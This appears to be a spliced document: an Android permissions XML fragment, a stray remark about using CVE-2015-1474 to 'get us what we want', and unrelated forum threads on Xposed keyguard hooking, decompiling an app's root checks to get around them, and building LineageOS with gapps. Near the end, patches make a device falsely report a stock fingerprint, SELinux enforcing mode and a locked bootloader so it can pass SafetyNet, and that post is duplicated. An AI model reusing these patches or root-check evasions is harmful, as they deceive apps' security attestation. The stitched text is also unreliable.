<!-- Group that can use gscaler -->
<permission name="com.sec.android.permission.USE_CAMERA" >
<group gid="camera" />
</permission>
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- The following tags are assigning high-level permissions to specific
user IDs. These are used to allow specific core system users to
perform the given operations with the higher-level framework. For
example, we give a wide variety of permissions to the shell user

OK let's not forget about cve-2015-1474. This is the vulnerability that's going to get us what we want. Let's not get sidetracked about another vulnerability that we may not even need.

[SOLVED][Help] Using the hooked app's resources in beforeHookedmethod

Hello, I am trying to hook a method and use the hooked app's resources in it, but I keep getting an error. Can you please have a look?
Code:
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
if ((Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) && (lpparam.packageName.contains("android.keyguard") || lpparam.packageName.contains("com.android.systemui"))) {
Class<?> KeyguardHostView = XposedHelpers.findClass("com.android.keyguard.KeyguardSecurityContainer",lpparam.classLoader);
findAndHookMethod(KeyguardHostView, "showSecurityScreen", "com.android.keyguard.KeyguardSecurityModel$SecurityMode", new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
Context ctx = ((FrameLayout) param.thisObject).getContext();
mStartTranslation = ctx.getResources().getDimensionPixelOffset(R.dimen.appear_y_translation_start) * translationScaleFactor;
}); }}
The relevant source for the hooked method is here https://github.com/temasek/android_...droid/keyguard/KeyguardSecurityContainer.java
Thank you for your time.

Rijul.A said:
Hello, I am trying to hook a method and use the hooked app's resources in it, but I keep getting an error. Can you please have a look?
Code:
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
if ((Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) && (lpparam.packageName.contains("android.keyguard") || lpparam.packageName.contains("com.android.systemui"))) {
Class<?> KeyguardHostView = XposedHelpers.findClass("com.android.keyguard.KeyguardSecurityContainer",lpparam.classLoader);
findAndHookMethod(KeyguardHostView, "showSecurityScreen", "com.android.keyguard.KeyguardSecurityModel$SecurityMode", new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
Context ctx = ((FrameLayout) param.thisObject).getContext();
mStartTranslation = ctx.getResources().getDimensionPixelOffset(R.dimen.appear_y_translation_start) * translationScaleFactor;
}); }}
The relevant source for the hooked method is here https://github.com/temasek/android_...droid/keyguard/KeyguardSecurityContainer.java
Thank you for your time.
Click to expand...
Click to collapse
Depends on whether R.dimen.appear_y_translation_start is part of your module, or part of hooked package.
If it is part of hooked package resources you need to get it within hooked package context using proper identifier;
you cannot use identifier of resource you put in your module resources because it's completely different resource with different ID.
Example:
Code:
int resId = ctx.getResources().getIdentifier("appear_y_translation_start", "dimen", lpparam.packageName);
mStartTranslation = ctx.getResources().getDimensionPixelOffset(resId) * translationScaleFactor;
If this resource is part of your xposed module package, then you have to create package context using original context so you can get your module resources
which inherit proper display metrics from original package resources.
Code:
Context moduleContext = ctx.createPackageContext(myModulePackageName, Context.CONTEXT_IGNORE_SECURITY);
mStartTranslation = moduleContext.getResources().getDimensionPixelOffset(R.dimen.appear_y_translation_start) * translationScaleFactor;

C3C076 said:
Depends on whether R.dimen.appear_y_translation_start is part of your module, or part of hooked package.
If it is part of hooked package resources you need to get it within hooked package context using proper identifier;
you cannot use identifier of resource you put in your module resources because it's completely different resource with different ID.
Example:
Code:
int resId = ctx.getResources().getIdentifier("appear_y_translation_start", "dimen", lpparam.packageName);
mStartTranslation = ctx.getResources().getDimensionPixelOffset(resId) * translationScaleFactor;
If this resource is part of your xposed module package, then you have to create package context using original context so you can get your module resources
which inherit proper display metrics from original package resources.
Code:
Context moduleContext = ctx.createPackageContext(myModulePackageName, Context.CONTEXT_IGNORE_SECURITY);
mStartTranslation = moduleContext.getResources().getDimensionPixelOffset(R.dimen.appear_y_translation_start) * translationScaleFactor;
Click to expand...
Click to collapse
Thanks, that works very well. Can you please also explain to me how I can retrieve value of attribute resources (I think that's what they are called) from the hooked package resources?
Code:
android:textColor="?android:attr/textColorSecondary"
I want to get this colour (as used in XML) so that I can do it in code
Code:
mEmergencyButton.setTextColor(color)

In case someone is looking for a solution to this
Code:
TypedValue outValue = new TypedValue();
mContext.getTheme().resolveAttribute(android.R.attr.textColorSecondary, outValue, true);
int[] textSizeAttr = new int[] {android.R.attr.textColorSecondary};
TypedArray a = context.obtainStyledAttributes(outValue.data, textSizeAttr);
int textColor = a.getColor(0, -1);
a.recycle();
mEmergencyButton.setTextColor(textColor);
mContext.getTheme().resolveAttribute(android.R.attr.selectableItemBackground, outValue, true);
mEmergencyButton.setBackgroundResource(outValue.resourceId);

[GENERAL KNOWLEDGE]View files/resources a 3rd party app read/writes to

Hello all,
Just curious about some general knowledge (salute; reference: HIMYM) on whether or not it's possible to see what an app is doing (during installation, in the background, app initialization, and foreground usage)
It's not my own app in question so I understand physically seeing the code is out of the question; however I'm more concerned about what the app is doing and the files/directories it accesses, and whether or not there's a way for me to view these activities.
If you must know, the app in question is the Adidas Confirmed app as RootCloak (and various other apps) DO NOT WORK. I'm attempting to isolate the issue, and I'm fairly certain it has to do with an external resource (within the device; i.e. different partition, files, folders, etc.) that permanently marks the device 'rooted' during initial installation. Maybe if I can see exactly what the app reaches out to, I can then come up with a fix action.
Any input would be greatly appreciated.

You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/

Rijul.A said:
You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/
Click to expand...
Click to collapse
This actually worked PERFECTLY. I was able to go inside the src and see exactly the commands the app calls for to check root.
If anyone is interested...I'm going to try a few things out, play with some variables and see if I can't allow the app access on my rooted device.
Code:
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.gpshopper.adidas.objects;
import android.os.Build;
import java.io.File;
// Referenced classes of package com.gpshopper.adidas.objects:
// ExecShell
public class Root
{
private static String LOG_TAG = com/gpshopper/adidas/objects/Root.getName();
public Root()
{
}
public static boolean checkRootMethod1()
{
String s = Build.TAGS;
return s != null && s.contains("test-keys");
}
public static boolean checkRootMethod2()
{
label0:
{
label1:
{
boolean flag = false;
boolean flag1;
try
{
File file = new File("/system/app/Superuser.apk");
File file1 = new File("/system/app/SuperSU/SuperSU.apk");
if (file.exists())
{
break label1;
}
flag1 = file1.exists();
}
catch (Exception exception)
{
return false;
}
if (!flag1)
{
break label0;
}
}
flag = true;
}
return flag;
}
public static boolean checkRootMethod3()
{
return (new ExecShell()).executeCommand(ExecShell.SHELL_CMD.check_su_binary) != null;
}
public static boolean isDeviceRooted()
{
return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
}
}
There is a similar file also in the src using a different language I've not yet been able to comprehend. I'm really new at this in case you couldn't already figure lol...is it possible to view my device's database where apps store variables? It may be possible the app is permanently storing the variable even after its removal so best case would be to start from a fresh ROM install. Just a theory.

The other language is generally irrelevant
Delete /data/data/<packagename>/ or clear app data normally, that will work, no need for a fresh install.
If you need help hooking this method, please quote me in a reply.

Building Gapps for Android 10.0

[/COLOR @razorloves I compiled my own unofficial LineageOS 17.0 for Marlin from your sources, but I don't have gapps compiled in. Is it possible to install gapps over the Lineage zip file? When I tried, it said that it thought I had Android 9, and it needed Android 10, so it wouldn't install.

ocarinaz64 said:
I compiled my own unofficial LineageOS 17.0 for Marlin from your sources, but I don't have gapps compiled in. Is it possible to install gapps over the Lineage zip file? When I tried, it said that it thought I had Android 9, and it needed Android 10, so it wouldn't install.
Click to expand...
Click to collapse
I have tried the same too... Android 10 appears to lock out the ability to mount /system as rw in recovery from my understanding.
I have had no luck compiling LOS 17 with opengapps at all.

GT3CH1 said:
I have tried the same too... Android 10 appears to lock out the ability to mount /system as rw in recovery from my understanding.
I have had no luck compiling LOS 17 with opengapps at all.
Click to expand...
Click to collapse
I was able to easily delete some of the safety checks on the gapps install script. It ran the installation .zip, but nothing appeared differently when I booted into the ROM. I got the same result with every gapps package I have found so far. So far the only way I can get gapps then is this ROM where it's already built into it.

ocarinaz64 said:
I was able to easily delete some of the safety checks on the gapps install script. It ran the installation .zip, but nothing appeared differently when I booted into the ROM. I got the same result with every gapps package I have found so far. So far the only way I can get gapps then is this ROM where it's already built into it.
Click to expand...
Click to collapse
I was able to extract all of the opengapps files from one of their installers and attempt to push it to LOS17... I ended up with a continuous bootloop because of a priv-app permissions issue... which was weird because I added the permissions to the right files, but it still erred out.
If anyone has any bright ideas, I would love to contribute some of my server space to set up nightly builds of LOS17 (stock LOS17 works just fine), but I want see if there is a good way to add in gapps to the build first.

GT3CH1 said:
I was able to extract all of the opengapps files from one of their installers and attempt to push it to LOS17... I ended up with a continuous bootloop because of a priv-app permissions issue... which was weird because I added the permissions to the right files, but it still erred out.
If anyone has any bright ideas, I would love to contribute some of my server space to set up nightly builds of LOS17 (stock LOS17 works just fine), but I want see if there is a good way to add in gapps to the build first.
Click to expand...
Click to collapse
I've been trying to build with open gapps integrated into the rom as well. I managed to get it to build without errors (which is a bit tricky at the moment as the current state of the branches is breaking the build), but I got boot loops that I haven't been able to diagnose.
This is using the instructions here
https://github.com/opengapps/aosp_build/blob/master/README.md
But would be ideal if razorloves could give us the relevant details on how to do build with mindthegapps.
For your issue on permissions, have you set the selinux contexts?

NZedPred said:
I've been trying to build with open gapps integrated into the rom as well. I managed to get it to build without errors (which is a bit tricky at the moment as the current state of the branches is breaking the build), but I got boot loops that I haven't been able to diagnose.
This is using the instructions here
https://github.com/opengapps/aosp_build/blob/master/README.md
But would be ideal if razorloves could give us the relevant details on how to do build with mindthegapps.
For your issue on permissions, have you set the selinux contexts?
Click to expand...
Click to collapse
I haven't been able to mess with selinux yet... I'm waiting for a break so that I can sit and mess with my phone again.
I second the idea of getting the details to build with MTG. I did what the aosp build instructions said for opengapps. It acted like it pulled the repo down, but it isn't copying the APK's over to the final zip install. Maybe I am missing something.

GT3CH1 said:
I haven't been able to mess with selinux yet... I'm waiting for a break so that I can sit and mess with my phone again.
I second the idea of getting the details to build with MTG. I did what the aosp build instructions said for opengapps. It acted like it pulled the repo down, but it isn't copying the APK's over to the final zip install. Maybe I am missing something.
Click to expand...
Click to collapse
For the apk issue, you need to make sure you have git lfs installed, and for each of the folders in vendor/opengapps/sources/ do a git lfs pull.
I made that mistake as well... Repo doesn't appear to apply the git lfs pull on its own. The files that you have are just text files with URLs to the files.

NZedPred said:
For the apk issue, you need to make sure you have git lfs installed, and for each of the folders in vendor/opengapps/sources/ do a git lfs pull.
I made that mistake as well... Repo doesn't appear to apply the git lfs pull on its own. The files that you have are just text files with URLs to the files.
Click to expand...
Click to collapse
I did that too.... Something else is going on with my system then. I did a git lfs pull on each directory, and it looked like it pulled down the apps - the file sizes changed... I might just wipe my current opengapps directory, allocate a little more disk space, and re do that pull.
I am trying to build with MTG at the moment, despite the super vague readme.

GT3CH1 said:
I did that too.... Something else is going on with my system then. I did a git lfs pull on each directory, and it looked like it pulled down the apps - the file sizes changed... I might just wipe my current opengapps directory, allocate a little more disk space, and re do that pull.
I am trying to build with MTG at the moment, despite the super vague readme.
Click to expand...
Click to collapse
I just re-read what you said about the final zip install, sorry i mis-read that. Did you create a file device/google/sailfish/device.mk and put the lines in? If so, they actually need to go into device/google/marlin/device-sailfish.mk. I did that mistake, and it didn't put anything into the final zip. You will get some other build errors that you have to work around after don't that change though... (Yes it's frustrating).
In any case, thanks for the link to the MTG readme. I'll have a go when I'm at home and see if I have any luck...

NZedPred said:
I just re-read what you said about the final zip install, sorry i mis-read that. Did you create a file device/google/sailfish/device.mk and put the lines in? If so, they actually need to go into device/google/marlin/device-sailfish.mk. I did that mistake, and it didn't put anything into the final zip. You will get some other build errors that you have to work around after don't that change though... (Yes it's frustrating).
In any case, thanks for the link to the MTG readme. I'll have a go when I'm at home and see if I have any luck...
Click to expand...
Click to collapse
No worries. Even though i've got a marlin does it go under device-marlin.mk? That wouldn't make any sense...
For MTG I added this to my .repo/manifests/default.xml
Code:
<remote name="mtg" fetch="https://gitlab.com/MindTheGapps/" />
<project path="vendor/gapps" name="vendor_gapps" revision="qoppa" remote="mtg" />
And it is acting like it is syncing properly. Step 2 has got me a little bit confused... I am going to assume that it is similar to opengapps
Code:
$(call inherit-product, vendor/opengapps/build/opengapps-packages.mk)
line for device-marlin.mk, but just modified for MTG.
It'd be cool if this works. I'd love to have my own build of LOS working.
---------- Post added at 02:48 AM ---------- Previous post was at 01:51 AM ----------
NZedPred said:
I just re-read what you said about the final zip install, sorry i mis-read that. Did you create a file device/google/sailfish/device.mk and put the lines in? If so, they actually need to go into device/google/marlin/device-sailfish.mk. I did that mistake, and it didn't put anything into the final zip. You will get some other build errors that you have to work around after don't that change though... (Yes it's frustrating).
In any case, thanks for the link to the MTG readme. I'll have a go when I'm at home and see if I have any luck...
Click to expand...
Click to collapse
Ok, I was able to get gapps to *almost* work - log shows that it is copying the files and all the fun stuff... however...
Code:
'linux/msm_ion.h' file not found
is appearing from
Code:
file included from device/google/marlin/camera/QCamera2/stack/mm-camera-test/src/mm_qcamera_reprocess.c:31:
02:42:21 device/google/marlin/camera/QCamera2/stack/mm-camera-test/inc/mm_qcamera_app.h
I'm gonna clean the build dir... see if that works.

GT3CH1 said:
No worries. Even though i've got a marlin does it go under device-marlin.mk? That wouldn't make any sense...
For MTG I added this to my .repo/manifests/default.xml
Code:
<remote name="mtg" fetch="https://gitlab.com/MindTheGapps/" />
<project path="vendor/gapps" name="vendor_gapps" revision="qoppa" remote="mtg" />
And it is acting like it is syncing properly. Step 2 has got me a little bit confused... I am going to assume that it is similar to opengapps
Code:
$(call inherit-product, vendor/opengapps/build/opengapps-packages.mk)
line for device-marlin.mk, but just modified for MTG.
It'd be cool if this works. I'd love to have my own build of LOS working.
---------- Post added at 02:48 AM ---------- Previous post was at 01:51 AM ----------
Ok, I was able to get gapps to *almost* work - log shows that it is copying the files and all the fun stuff... however...
Code:
'linux/msm_ion.h' file not found
is appearing from
Code:
file included from device/google/marlin/camera/QCamera2/stack/mm-camera-test/src/mm_qcamera_reprocess.c:31:
02:42:21 device/google/marlin/camera/QCamera2/stack/mm-camera-test/inc/mm_qcamera_app.h
I'm gonna clean the build dir... see if that works.
Click to expand...
Click to collapse
I've done the same change to the manifest. I would suggest though once you get it up and running, that you don't make the change directly to the default manifest, but rather put it into e.g. .repo/local_manifests/mindthegapps.xml. That way it won't get overwritten if the default manifest gets updated.
I had a build just complete with that change, but as it was practically built anyway, I'm trying from a clean build directory just to make sure it definitely builds! The only change in my case for sailfish is adding the line
Code:
$(call inherit-product, vendor/gapps/arm64/arm64-vendor.mk)
near the bottom of device/google/marlin/device-sailfish.mk. You'd do the same in the device/google/marlin/device-marlin.mk file.
If the build compiles successfully then I'll probably put together a start-to-finish guide on how to do this. I also want to do a "user" build that is signed, and see if it's possible to pass safety net without requiring magisk. But for now, my fingers are crossed that I just get a basic build done!

NZedPred said:
I've done the same change to the manifest. I would suggest though once you get it up and running, that you don't make the change directly to the default manifest, but rather put it into e.g. .repo/local_manifests/mindthegapps.xml. That way it won't get overwritten if the default manifest gets updated.
I had a build just complete with that change, but as it was practically built anyway, I'm trying from a clean build directory just to make sure it definitely builds! The only change in my case for sailfish is adding the line
Code:
$(call inherit-product, vendor/gapps/arm64/arm64-vendor.mk)
near the bottom of device/google/marlin/device-sailfish.mk. You'd do the same in the device/google/marlin/device-marlin.mk file.
If the build compiles successfully then I'll probably put together a start-to-finish guide on how to do this. I also want to do a "user" build that is signed, and see if it's possible to pass safety net without requiring magisk. But for now, my fingers are crossed that I just get a basic build done!
Click to expand...
Click to collapse
Been building for a couple weeks using razorloves' gapps then swtiched to shagbag913's gapps. Added the call inherit-product code to device/google/marlin/sailfish/device-lineage.mk but your way should work.
Everything has been working fine except for Android Auto which I think is a bigger GApps issue.

Can someone explain how to either properly install a pre-built gapps package for Android 10 and / or explain how to properly build gapps packages into a ROM (if such action is even legal)?
I followed the instructions from https://github.com/opengapps/aosp_build/blob/master/README.md and ended up getting build errors that I couldn't push through.
@razorloves, I would love your input since you have already accomplished this.

Hi,
I have written up a quick documentation on how to do this with MTG and my Google apps package.
Please take a look at it here.
My Google apps package(gavapps) may/may not work for your device, I have specifically fine-tuned it to work for a Google Pixel XL.
HOWEVER,
If you follow the instructions for the Mind The GApps, you will be able to compile a version of Android 10 with the Google play store.

For those who care, I was able to compile the most recent of LOS17 for Google Pixel XL with a couple of gapps pre-built.
Link is here

user build with release keys
I mentioned before I was going to attempt to do a build that would pass safety net without needing to install Magisk and use hiding modules. I haven't quite managed that, but thought I'd post details of the progress that I've made.
Note for the below, I have a Pixel, so my codename is always sailfish - replace with marlin for the Pixel XL. Also, follow the instructions above to include MindTheGapps (you need the Google services to do the SafetyNet check).
Now, importantly I found that the Eleven app didn't compile under a user build (it's fine in a userdebug build). If you find the same issue, best to remove it from the project by adding this to a local manifest, e.g. .repo/local_manifest/excluded-projects.xml
Code:
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<!-- Does not compile in a user build -->
<remove-project name="LineageOS/android_packages_apps_Eleven" />
</manifest>
Follow instructions in this link to set up some build keys:
https://wiki.lineageos.org/signing_builds.html (the section Generating the keys). For convenience, the commands are pasted below (customize the subject):
Code:
subject='/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/[email protected]'
mkdir ~/.android-certs
for x in releasekey platform shared media testkey; do \
./development/tools/make_key ~/.android-certs/$x "$subject"; \
done
Now for building, do a 'repo sync' and 'source build/envsetup.sh' as you normally would, but now it's time to apply a few patches.
Kernel command line patch:
https://gist.github.com/kirelagin/211af699bd321f9448d310502074bd9c
Or get the raw version of the patch directly here:
https://gist.githubusercontent.com/...e45f468cbefc3a9c571bd3d8b2a877/safetynet.diff
This patch needs to be applied to the kernel/google/marlin folder. Its purpose is to change a few flags in the command line to remove the fact that the bootloader is unlocked, etc.
Code:
cd kernel/google/marlin
git apply safetynet.diff
The below is not required now, a recent patch fixed this issue
Now normally, as the build files replace the device fingerprint with the fingerprint from stock, we would expect that doing e.g. in a shell in the rom "getprop | grep fingerprint" would return said fingerprint in all cases. However, I always found that one, 'ro.build.fingerprint' would always be the default Lineage build fingerprint. I couldn't find how to get that one in particular to be the same as the others, so I ended up doing something that isn't portable but works
Patch system/code/base/properties.cpp by applying one of the following patches (you must be within the system/code folder)
Sailfish:
Code:
diff --git a/base/properties.cpp b/base/properties.cpp
index d5a5918ce..49959ffad 100644
--- a/base/properties.cpp
+++ b/base/properties.cpp
@@ -79,6 +79,10 @@ static int __system_property_set(const char* key, const char* value) {
std::string GetProperty(const std::string& key, const std::string& default_value) {
std::string property_value;
+ if (key == "ro.build.fingerprint") {
+ property_value = "google/sailfish/sailfish:10/QP1A.191005.007.A1/5908163:user/release-keys";
+ return property_value;
+ }
#if defined(__BIONIC__)
const prop_info* pi = __system_property_find(key.c_str());
if (pi == nullptr) return default_value;
If you have a Marlin, use the following:
Code:
diff --git a/base/properties.cpp b/base/properties.cpp
index d5a5918ce..49959ffad 100644
--- a/base/properties.cpp
+++ b/base/properties.cpp
@@ -79,6 +79,10 @@ static int __system_property_set(const char* key, const char* value) {
std::string GetProperty(const std::string& key, const std::string& default_value) {
std::string property_value;
+ if (key == "ro.build.fingerprint") {
+ property_value = "google/marlin/marlin:10/QP1A.191005.007.A1/5908163:user/release-keys";
+ return property_value;
+ }
#if defined(__BIONIC__)
const prop_info* pi = __system_property_find(key.c_str());
if (pi == nullptr) return default_value;
The value of the fingerprint is in the file device/google/marlin/lineage_[sailfish/marlin].mk. The patches above have a very simple job - if the ro.build.fingerprint property is requested, return a hard-coded value. Simple, works, but needs to be changed per device, and won't ever be seen in the Lineage repo :silly:
At the moment, the builds have SELinux in permissive mode. I've read that one of the CTS profile checks is to ensure that SELinux is in enforcing mode. We can override this by patching two files from within the external/selinux folder
Code:
diff --git a/libselinux/src/selinux_config.c b/libselinux/src/selinux_config.c
index b06cb63b..7877010c 100644
--- a/libselinux/src/selinux_config.c
+++ b/libselinux/src/selinux_config.c
@@ -87,44 +87,8 @@ static const uint16_t file_path_suffixes_idx[NEL] = {
int selinux_getenforcemode(int *enforce)
{
- int ret = -1;
- FILE *cfg = fopen(SELINUXCONFIG, "re");
- if (cfg) {
- char *buf;
- int len = sizeof(SELINUXTAG) - 1;
- buf = malloc(selinux_page_size);
- if (!buf) {
- fclose(cfg);
- return -1;
- }
- while (fgets_unlocked(buf, selinux_page_size, cfg)) {
- if (strncmp(buf, SELINUXTAG, len))
- continue;
- if (!strncasecmp
- (buf + len, "enforcing", sizeof("enforcing") - 1)) {
- *enforce = 1;
- ret = 0;
- break;
- } else
- if (!strncasecmp
- (buf + len, "permissive",
- sizeof("permissive") - 1)) {
- *enforce = 0;
- ret = 0;
- break;
- } else
- if (!strncasecmp
- (buf + len, "disabled",
- sizeof("disabled") - 1)) {
- *enforce = -1;
- ret = 0;
- break;
- }
- }
- fclose(cfg);
- free(buf);
- }
- return ret;
+ *enforce = 1;
+ return 0;
}
hidden_def(selinux_getenforcemode)
diff --git a/libselinux/src/sestatus.c b/libselinux/src/sestatus.c
index ed29dc55..5b057932 100644
--- a/libselinux/src/sestatus.c
+++ b/libselinux/src/sestatus.c
@@ -130,30 +130,7 @@ int selinux_status_updated(void)
*/
int selinux_status_getenforce(void)
{
- uint32_t seqno;
- uint32_t enforcing;
-
- if (selinux_status == NULL) {
- errno = EINVAL;
- return -1;
- }
-
- if (selinux_status == MAP_FAILED) {
- if (avc_netlink_check_nb() < 0)
- return -1;
-
- return fallback_enforcing;
- }
-
- /* sequence must not be changed during references */
- do {
- seqno = read_sequence(selinux_status);
-
- enforcing = selinux_status->enforcing;
-
- } while (seqno != read_sequence(selinux_status));
-
- return enforcing ? 1 : 0;
+ return 1;
}
/*
Now, I have a script that does the steps of:
Sets up a user build
Builds the appropriate files used for a signed build
Signs the APKs
Creates an installable zip / OTA from the signed zips
Code:
#!/bin/bash
echo "This script must be sourced."
BUILD="user"
DEVICE="sailfish"
DATE=$(date +%Y-%m-%d)
VERSION=17.0
croot && lunch lineage_$DEVICE-$BUILD
SIGNED_TARGET="$OUT/lineage-$VERSION-$DEVICE-signed-target_files-$BUILD-$DATE.zip"
SIGNED_OTA="$OUT/lineage-$VERSION-$DEVICE-signed-ota-$BUILD-$DATE.zip"
mka target-files-package otatools && \
./build/tools/releasetools/sign_target_files_apks -o -d ~/.android-certs $OUT/obj/PACKAGING/target_files_intermediates/*-target_files-*.zip $SIGNED_TARGET && \
./build/tools/releasetools/ota_from_target_files -k ~/.android-certs/releasekey --block $SIGNED_TARGET $SIGNED_OTA
It must be sourced (i.e. source do-build #or whatever you call the script). You can easily change some of the parameters above, e.g. sailfish to marlin.
So for my testing, after doing the above changes, I can get a basic integrity pass in Safety Net, but not a CTS profile pass. I tried using Magisk, and it passes Safety Net without the need for using any further prop tweaks (normally I would still need one of those). So at least that is a little bit of progress.
Hope that this is helpful to someone. And if anyone has any other insights as to what can be done to try and get a CTS profile match, let us all know!

NZedPred said:
I mentioned before I was going to attempt to do a build that would pass safety net without needing to install Magisk and use hiding modules. I haven't quite managed that, but thought I'd post details of the progress that I've made.
Note for the below, I have a Pixel, so my codename is always sailfish - replace with marlin for the Pixel XL. Also, follow the instructions above to include MindTheGapps (you need the Google services to do the SafetyNet check).
Now, importantly I found that the Eleven app didn't compile under a user build (it's fine in a userdebug build). If you find the same issue, best to remove it from the project by adding this to a local manifest, e.g. .repo/local_manifest/excluded-projects.xml
Code:
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<!-- Does not compile in a user build -->
<remove-project name="LineageOS/android_packages_apps_Eleven" />
</manifest>
Follow instructions in this link to set up some build keys:
https://wiki.lineageos.org/signing_builds.html (the section Generating the keys). For convenience, the commands are pasted below (customize the subject):
Code:
subject='/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/[email protected]'
mkdir ~/.android-certs
for x in releasekey platform shared media testkey; do \
./development/tools/make_key ~/.android-certs/$x "$subject"; \
done
Now for building, do a 'repo sync' and 'source build/envsetup.sh' as you normally would, but now it's time to apply a few patches.
Kernel command line patch:
https://gist.github.com/kirelagin/211af699bd321f9448d310502074bd9c
Or get the raw version of the patch directly here:
https://gist.githubusercontent.com/...e45f468cbefc3a9c571bd3d8b2a877/safetynet.diff
This patch needs to be applied to the kernel/google/marlin folder. Its purpose is to change a few flags in the command line to remove the fact that the bootloader is unlocked, etc.
Code:
cd kernel/google/marlin
git apply safetynet.diff
The below is not required now, a recent patch fixed this issue
Now normally, as the build files replace the device fingerprint with the fingerprint from stock, we would expect that doing e.g. in a shell in the rom "getprop | grep fingerprint" would return said fingerprint in all cases. However, I always found that one, 'ro.build.fingerprint' would always be the default Lineage build fingerprint. I couldn't find how to get that one in particular to be the same as the others, so I ended up doing something that isn't portable but works
Patch system/code/base/properties.cpp by applying one of the following patches (you must be within the system/code folder)
Sailfish:
Code:
diff --git a/base/properties.cpp b/base/properties.cpp
index d5a5918ce..49959ffad 100644
--- a/base/properties.cpp
+++ b/base/properties.cpp
@@ -79,6 +79,10 @@ static int __system_property_set(const char* key, const char* value) {
std::string GetProperty(const std::string& key, const std::string& default_value) {
std::string property_value;
+ if (key == "ro.build.fingerprint") {
+ property_value = "google/sailfish/sailfish:10/QP1A.191005.007.A1/5908163:user/release-keys";
+ return property_value;
+ }
#if defined(__BIONIC__)
const prop_info* pi = __system_property_find(key.c_str());
if (pi == nullptr) return default_value;
If you have a Marlin, use the following:
Code:
diff --git a/base/properties.cpp b/base/properties.cpp
index d5a5918ce..49959ffad 100644
--- a/base/properties.cpp
+++ b/base/properties.cpp
@@ -79,6 +79,10 @@ static int __system_property_set(const char* key, const char* value) {
std::string GetProperty(const std::string& key, const std::string& default_value) {
std::string property_value;
+ if (key == "ro.build.fingerprint") {
+ property_value = "google/marlin/marlin:10/QP1A.191005.007.A1/5908163:user/release-keys";
+ return property_value;
+ }
#if defined(__BIONIC__)
const prop_info* pi = __system_property_find(key.c_str());
if (pi == nullptr) return default_value;
The value of the fingerprint is in the file device/google/marlin/lineage_[sailfish/marlin].mk. The patches above have a very simple job - if the ro.build.fingerprint property is requested, return a hard-coded value. Simple, works, but needs to be changed per device, and won't ever be seen in the Lineage repo :silly:
At the moment, the builds have SELinux in permissive mode. I've read that one of the CTS profile checks is to ensure that SELinux is in enforcing mode. We can override this by patching two files from within the external/selinux folder
Code:
diff --git a/libselinux/src/selinux_config.c b/libselinux/src/selinux_config.c
index b06cb63b..7877010c 100644
--- a/libselinux/src/selinux_config.c
+++ b/libselinux/src/selinux_config.c
@@ -87,44 +87,8 @@ static const uint16_t file_path_suffixes_idx[NEL] = {
int selinux_getenforcemode(int *enforce)
{
- int ret = -1;
- FILE *cfg = fopen(SELINUXCONFIG, "re");
- if (cfg) {
- char *buf;
- int len = sizeof(SELINUXTAG) - 1;
- buf = malloc(selinux_page_size);
- if (!buf) {
- fclose(cfg);
- return -1;
- }
- while (fgets_unlocked(buf, selinux_page_size, cfg)) {
- if (strncmp(buf, SELINUXTAG, len))
- continue;
- if (!strncasecmp
- (buf + len, "enforcing", sizeof("enforcing") - 1)) {
- *enforce = 1;
- ret = 0;
- break;
- } else
- if (!strncasecmp
- (buf + len, "permissive",
- sizeof("permissive") - 1)) {
- *enforce = 0;
- ret = 0;
- break;
- } else
- if (!strncasecmp
- (buf + len, "disabled",
- sizeof("disabled") - 1)) {
- *enforce = -1;
- ret = 0;
- break;
- }
- }
- fclose(cfg);
- free(buf);
- }
- return ret;
+ *enforce = 1;
+ return 0;
}
hidden_def(selinux_getenforcemode)
diff --git a/libselinux/src/sestatus.c b/libselinux/src/sestatus.c
index ed29dc55..5b057932 100644
--- a/libselinux/src/sestatus.c
+++ b/libselinux/src/sestatus.c
@@ -130,30 +130,7 @@ int selinux_status_updated(void)
*/
int selinux_status_getenforce(void)
{
- uint32_t seqno;
- uint32_t enforcing;
-
- if (selinux_status == NULL) {
- errno = EINVAL;
- return -1;
- }
-
- if (selinux_status == MAP_FAILED) {
- if (avc_netlink_check_nb() < 0)
- return -1;
-
- return fallback_enforcing;
- }
-
- /* sequence must not be changed during references */
- do {
- seqno = read_sequence(selinux_status);
-
- enforcing = selinux_status->enforcing;
-
- } while (seqno != read_sequence(selinux_status));
-
- return enforcing ? 1 : 0;
+ return 1;
}
/*
Now, I have a script that does the steps of:
Sets up a user build
Builds the appropriate files used for a signed build
Signs the APKs
Creates an installable zip / OTA from the signed zips
Code:
#!/bin/bash
echo "This script must be sourced."
BUILD="user"
DEVICE="sailfish"
DATE=$(date +%Y-%m-%d)
VERSION=17.0
croot && lunch lineage_$DEVICE-$BUILD
SIGNED_TARGET="$OUT/lineage-$VERSION-$DEVICE-signed-target_files-$BUILD-$DATE.zip"
SIGNED_OTA="$OUT/lineage-$VERSION-$DEVICE-signed-ota-$BUILD-$DATE.zip"
mka target-files-package otatools && \
./build/tools/releasetools/sign_target_files_apks -o -d ~/.android-certs $OUT/obj/PACKAGING/target_files_intermediates/*-target_files-*.zip $SIGNED_TARGET && \
./build/tools/releasetools/ota_from_target_files -k ~/.android-certs/releasekey --block $SIGNED_TARGET $SIGNED_OTA
It must be sourced (i.e. source do-build #or whatever you call the script). You can easily change some of the parameters above, e.g. sailfish to marlin.
So for my testing, after doing the above changes, I can get a basic integrity pass in Safety Net, but not a CTS profile pass. I tried using Magisk, and it passes Safety Net without the need for using any further prop tweaks (normally I would still need one of those). So at least that is a little bit of progress.
Hope that this is helpful to someone. And if anyone has any other insights as to what can be done to try and get a CTS profile match, let us all know!
Click to expand...
Click to collapse
